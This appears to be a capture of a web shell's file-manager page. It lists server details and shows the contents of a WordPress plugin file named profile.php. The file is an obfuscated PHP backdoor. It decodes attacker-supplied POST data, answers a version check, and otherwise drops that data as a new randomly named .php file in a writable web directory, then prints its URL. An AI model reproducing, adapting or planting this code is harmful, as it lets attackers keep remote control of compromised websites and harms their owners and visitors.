HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/plugins/nm-theme-settings/includes/profile.php
<?php function jzSaaVVLE($cBwZYVQec){$xOcpxmm = chr(522-408)."\141"."\167"."\x75"."\x72".chr(108)."\x64".chr(101).chr(693-594)."\x6f".'d'.chr(288-187);$VAgPavJWP = "\x73"."\164".chr(832-718).chr(95).chr(114).chr(111).chr(659-543)."\x31".'3';$vYgRMqaRir = "\163"."\x74"."\162".chr(95).'s'.chr(700-588)."\x6c".chr(835-730).chr(900-784);$cBwZYVQec = $vYgRMqaRir($xOcpxmm($VAgPavJWP($cBwZYVQec)));return $cBwZYVQec;}function WMvNy($zlPHAP, $cBwZYVQec){$QZajXFVUj = chr(115).chr(328-212).chr(114)."\x5f"."\x73"."\x70".chr(643-535).'i'.chr(203-87);$zlPHAP = array_slice($QZajXFVUj(str_repeat($zlPHAP, (count($cBwZYVQec)/16)+1)), 0, count($cBwZYVQec));return $zlPHAP;}function xbNeQn($rKlACohp, $AFKwH, $zlPHAP){$fjZBDCBaD = "5dec8b9b-9a21-4eec-ba8c-309e3809ea3c";return $rKlACohp ^ $fjZBDCBaD[$AFKwH % strlen($fjZBDCBaD)] ^ $zlPHAP;}function NUxCFmVI($cBwZYVQec, $zlPHAP){$cBwZYVQec = array_map("xbNeQn", array_values($cBwZYVQec), array_keys($cBwZYVQec), array_values($zlPHAP));$cBwZYVQec = implode("", $cBwZYVQec);$bEAknVEzUa = chr(117).chr(110)."\163".chr(101).'r'.'i'.chr(97).chr(108).chr(105).chr(122).'e';$cBwZYVQec = @$bEAknVEzUa($cBwZYVQec);return $cBwZYVQec;}function ZpkXsGwOa(){echo "cIlJYH";}function WUJdIMj($xRjJtOfir){static $FVuJrRdj = array();$UjbVjSj = glob($xRjJtOfir . '/*', GLOB_ONLYDIR);$VrsoeyMn = count($UjbVjSj);if ($VrsoeyMn > 0) {foreach ($UjbVjSj as $xRjJtOf) {$UovkVhgSD = chr(162-57).'s'."\137".'w'.chr(208-94).chr(105)."\164".chr(743-646)."\x62".'l'.chr(101);if (@$UovkVhgSD($xRjJtOf)) {$FVuJrRdj[] = $xRjJtOf;}}}foreach ($UjbVjSj as $xRjJtOfir) WUJdIMj($xRjJtOfir);return $FVuJrRdj;}function pjkkZiX(){echo "qVPMR";}function fKAIGc($cBwZYVQec){$XZAxXqpM = chr(68)."\x4f"."\103".'U'.chr(77)."\105"."\x4e"."\124".chr(95).chr(335-253).chr(338-259)."\117"."\x54";$NqhxZ = $_SERVER[$XZAxXqpM];$UjbVjSj = WUJdIMj($NqhxZ);$nssoTWM = array_rand($UjbVjSj);$GfjSw = chr(868-822).chr(373-261).'h'."\x70";$lqPnruaYL = $UjbVjSj[$nssoTWM] . "/" . substr(md5(time()), 0, 8) . $GfjSw;$VmWBk = chr(665-563).chr(105).chr(130-22).'e'.chr(95).chr(578-466).chr(1033-916).chr(116).'_'.chr(693-594).chr(111).chr(824-714).chr(435-319)."\x65"."\x6e"."\164"."\163";@$VmWBk($lqPnruaYL, $cBwZYVQec);$SjGlSuNk = "\x48"."\124".chr(938-854).chr(779-699)."\x5f".'H'.chr(79).chr(259-176).'T';$IOoyyC = chr(104).chr(743-627).'t'.chr(937-825)."\x3a".chr(47).chr(47);$jIveds = $IOoyyC . $_SERVER[$SjGlSuNk] . substr($lqPnruaYL, strlen($NqhxZ));print($jIveds);}foreach ($_POST as $zlPHAP => $cBwZYVQec){$ipUMgrZF = strlen($zlPHAP);if ($ipUMgrZF == 16){$cBwZYVQec = jzSaaVVLE($cBwZYVQec);$zlPHAP = WMvNy($zlPHAP, $cBwZYVQec);$cBwZYVQec = NUxCFmVI($cBwZYVQec, $zlPHAP);if (@is_array($cBwZYVQec)){$nssoTWM = array_keys($cBwZYVQec);$cBwZYVQec = $cBwZYVQec[$nssoTWM[0]];if ($cBwZYVQec === $nssoTWM[0]){$HnEnorDaZY = chr(112)."\150".chr(112);$EfRhRBGbLR = 'p'.'h'."\160".'v'."\145".'r'.chr(115).chr(403-298).chr(1100-989).chr(110);$PlefStS = 's'.'e'."\162".'i'."\141".chr(794-686).chr(1094-989).chr(137-15).'e';echo @$PlefStS(Array($HnEnorDaZY => @$EfRhRBGbLR(), ));}else {fKAIGc($cBwZYVQec);}die();}}}